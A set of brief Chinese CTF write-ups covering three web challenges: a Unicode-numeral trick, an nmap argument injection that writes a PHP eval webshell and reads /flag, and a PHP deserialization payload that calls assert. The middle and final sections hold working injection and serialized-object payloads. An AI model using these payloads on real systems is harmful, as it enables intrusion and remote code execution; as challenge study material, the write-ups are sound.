[ASIS 2019]Unicorn shop
尝试购买, 操作失败, 根据题目, 跟Unicode有关, 只能输入一个字符
工具网站: https://www.compart.com/en/unicode/search?q=ten+thousand#characters
搜索一个比千大的
输入 4 和 ፼
直接得到flag (直接用 万
也可以)
[网鼎杯 2020 朱雀组]Nmap
利用nmap 写入木马
nmap保存文件的几种方式
-oG:grep保存
-oN:正常保存
-oX:xml格式保存
-oA:将扫描结果以标准格式、XML格式和Grep格式一次性保存,分别放在.nmap,.xml和.gnmap文件中
-iL:从一个文件中读取要扫描的目标列表。
题目给了提示 flag在 /flag下面
127.0.0.1' -iL /flag -oN 1.txt '
然后直接访问1.txt就行
也可以写入一句话木马 , 然后访问 执行命令
' -oN b.phtml <?=eval(\$_POST[a]);?>'
需要在引号
那里加上空格, 原因好像是传入的参数经过了escapeshellarg与escapeshellcmd两个函数的处理
[NPUCTF2020]ReadlezPHP
源码里面有信息
访问拿到代码
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
很明显可以控制 $a 和 $b
的值, 反序列化进行命令执行
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->b = "assert";
$this->a = "phpinfo()";
}
}
$a=new HelloPhp();
echo serialize($a);
//O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
flag就在phpinfo里面